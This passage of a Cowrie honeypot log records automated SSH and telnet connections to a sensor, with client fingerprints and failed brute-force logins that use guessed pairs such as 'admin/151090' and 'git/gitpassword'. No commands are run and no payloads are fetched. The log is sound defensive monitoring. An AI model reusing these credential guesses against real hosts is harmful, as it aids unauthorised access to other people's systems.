af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:34:03.364436Z","src_ip":"155.4.244.179","session":"79ede5022e50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456789","message":"login attempt [test/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:34:04.185419Z","src_ip":"155.4.244.179","session":"79ede5022e50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:34:05.294363Z","src_ip":"155.4.244.179","session":"79ede5022e50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":33028,"dst_ip":"159.203.135.109","dst_port":23,"session":"07626a788dc7","protocol":"telnet","message":"New connection: 174.138.46.234:33028 (159.203.135.109:23) [session: 07626a788dc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:34:12.927657Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":33134,"dst_ip":"159.203.135.109","dst_port":23,"session":"f39d95c55bbe","protocol":"telnet","message":"New connection: 174.138.46.234:33134 (159.203.135.109:23) [session: f39d95c55bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:34:13.194429Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":33230,"dst_ip":"159.203.135.109","dst_port":23,"session":"abc21efcea56","protocol":"telnet","message":"New connection: 174.138.46.234:33230 (159.203.135.109:23) [session: abc21efcea56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:34:13.497281Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":33682,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3fb6e15cc69","protocol":"telnet","message":"New connection: 174.138.46.234:33682 (159.203.135.109:23) [session: f3fb6e15cc69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:34:14.749602Z"}
{"eventid":"cowrie.session.closed","duration":3.901125192642212,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:34:16.828654Z","src_ip":"174.138.46.234","session":"07626a788dc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.284044981002808,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:34:17.394619Z","src_ip":"5.252.154.12","session":"c73ca5b1ea70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.021365642547607,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:34:19.215659Z","src_ip":"174.138.46.234","session":"f39d95c55bbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.907105922698975,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:34:20.656573Z","src_ip":"174.138.46.234","session":"f3fb6e15cc69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":42590,"dst_ip":"10.17.0.5","dst_port":23,"session":"79eafbfb96af","protocol":"telnet","message":"New connection: 20.123.41.163:42590 (10.17.0.5:23) [session: 79eafbfb96af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:34:54.556381Z"}
{"eventid":"cowrie.session.closed","duration":1.938178300857544,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:34:56.494428Z","src_ip":"20.123.41.163","session":"79eafbfb96af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":64625,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e36152d2111","protocol":"ssh","message":"New connection: 155.4.244.179:64625 (10.17.0.5:22) [session: 4e36152d2111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:35:06.292206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:35:06.297430Z","src_ip":"155.4.244.179","session":"4e36152d2111","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.252.154.12","src_port":49284,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e165ed3cf50","protocol":"telnet","message":"New connection: 5.252.154.12:49284 (10.17.0.5:23) [session: 3e165ed3cf50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:35:06.652958Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:35:06.883213Z","src_ip":"155.4.244.179","session":"4e36152d2111","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server11","message":"login attempt [server/server11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:35:07.349322Z","src_ip":"155.4.244.179","session":"4e36152d2111","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.35205149650574,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:35:07.849206Z","src_ip":"174.138.46.234","session":"abc21efcea56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:35:08.951246Z","src_ip":"155.4.244.179","session":"4e36152d2111","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":8888,"dst_ip":"159.203.135.109","dst_port":22,"session":"dddfbfc95481","protocol":"ssh","message":"New connection: 2.57.121.112:8888 (159.203.135.109:22) [session: dddfbfc95481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:35:11.151939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:35:11.157144Z","src_ip":"2.57.121.112","session":"dddfbfc95481","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:35:11.261072Z","src_ip":"2.57.121.112","session":"dddfbfc95481","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"151090","message":"login attempt [admin/151090] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:35:11.741665Z","src_ip":"2.57.121.112","session":"dddfbfc95481","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"151085","message":"login attempt [admin/151085] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:35:12.851543Z","src_ip":"2.57.121.112","session":"dddfbfc95481","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"15101966","message":"login attempt [admin/15101966] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:35:13.957298Z","src_ip":"2.57.121.112","session":"dddfbfc95481","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"150982","message":"login attempt [admin/150982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:35:15.062637Z","src_ip":"2.57.121.112","session":"dddfbfc95481","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"15091997","message":"login attempt [admin/15091997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:35:16.168020Z","src_ip":"2.57.121.112","session":"dddfbfc95481","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:35:17.273678Z","src_ip":"2.57.121.112","session":"dddfbfc95481","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":60634,"dst_ip":"10.17.0.5","dst_port":22,"session":"21a589cccad0","protocol":"ssh","message":"New connection: 185.48.213.208:60634 (10.17.0.5:22) [session: 21a589cccad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:35:29.817730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:35:29.822701Z","src_ip":"185.48.213.208","session":"21a589cccad0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:35:29.940497Z","src_ip":"185.48.213.208","session":"21a589cccad0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user6","password":"password","message":"login attempt [user6/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:35:30.447264Z","src_ip":"185.48.213.208","session":"21a589cccad0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:35:31.568792Z","src_ip":"185.48.213.208","session":"21a589cccad0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.969341278076172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:35:37.622175Z","src_ip":"5.252.154.12","session":"3e165ed3cf50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":56968,"dst_ip":"10.17.0.5","dst_port":22,"session":"46f4b5615305","protocol":"ssh","message":"New connection: 103.248.120.6:56968 (10.17.0.5:22) [session: 46f4b5615305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:35:45.503165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:35:45.507900Z","src_ip":"103.248.120.6","session":"46f4b5615305","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:35:45.733080Z","src_ip":"103.248.120.6","session":"46f4b5615305","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"123","message":"login attempt [test2/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:35:46.659621Z","src_ip":"103.248.120.6","session":"46f4b5615305","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:35:47.886384Z","src_ip":"103.248.120.6","session":"46f4b5615305","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":47420,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8b029f7cfb9","protocol":"ssh","message":"New connection: 155.4.244.179:47420 (10.17.0.5:22) [session: a8b029f7cfb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:36:09.258303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:36:09.263156Z","src_ip":"155.4.244.179","session":"a8b029f7cfb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:36:09.368282Z","src_ip":"155.4.244.179","session":"a8b029f7cfb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"gitpassword","message":"login attempt [git/gitpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:36:10.186057Z","src_ip":"155.4.244.179","session":"a8b029f7cfb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:36:11.295233Z","src_ip":"155.4.244.179","session":"a8b029f7cfb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":45608,"dst_ip":"159.203.135.109","dst_port":23,"session":"7899e77e5f8b","protocol":"telnet","message":"New connection: 174.138.46.234:45608 (159.203.135.109:23) [session: 7899e77e5f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:36:26.748815Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":45790,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d1e6703ab5d","protocol":"telnet","message":"New connection: 174.138.46.234:45790 (159.203.135.109:23) [session: 4d1e6703ab5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:36:27.285792Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":45888,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1fea187f002","protocol":"telnet","message":"New connection: 174.138.46.234:45888 (159.203.135.109:23) [session: e1fea187f002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:36:27.624211Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":45882,"dst_ip":"159.203.135.109","dst_port":23,"session":"012fa81b179b","protocol":"telnet","message":"New connection: 174.138.46.234:45882 (159.203.135.109:23) [session: 012fa81b179b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:36:27.628705Z"}
{"eventid":"cowrie.session.closed","duration":4.893213510513306,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:36:31.641898Z","src_ip":"174.138.46.234","session":"7899e77e5f8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.903778076171875,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:36:33.532415Z","src_ip":"174.138.46.234","session":"012fa81b179b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.9120447635650635,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:36:33.536088Z","src_ip":"174.138.46.234","session":"e1fea187f002","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":59598,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b49cc7673d2","protocol":"telnet","message":"New connection: 174.138.46.234:59598 (159.203.135.109:23) [session: 0b49cc7673d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:37:11.799973Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":45411,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3d2b1f9ee3d","protocol":"ssh","message":"New connection: 155.4.244.179:45411 (10.17.0.5:22) [session: b3d2b1f9ee3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:37:12.194729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:37:12.199862Z","src_ip":"155.4.244.179","session":"b3d2b1f9ee3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:37:12.304917Z","src_ip":"155.4.244.179","session":"b3d2b1f9ee3d","protocol":"ssh"}
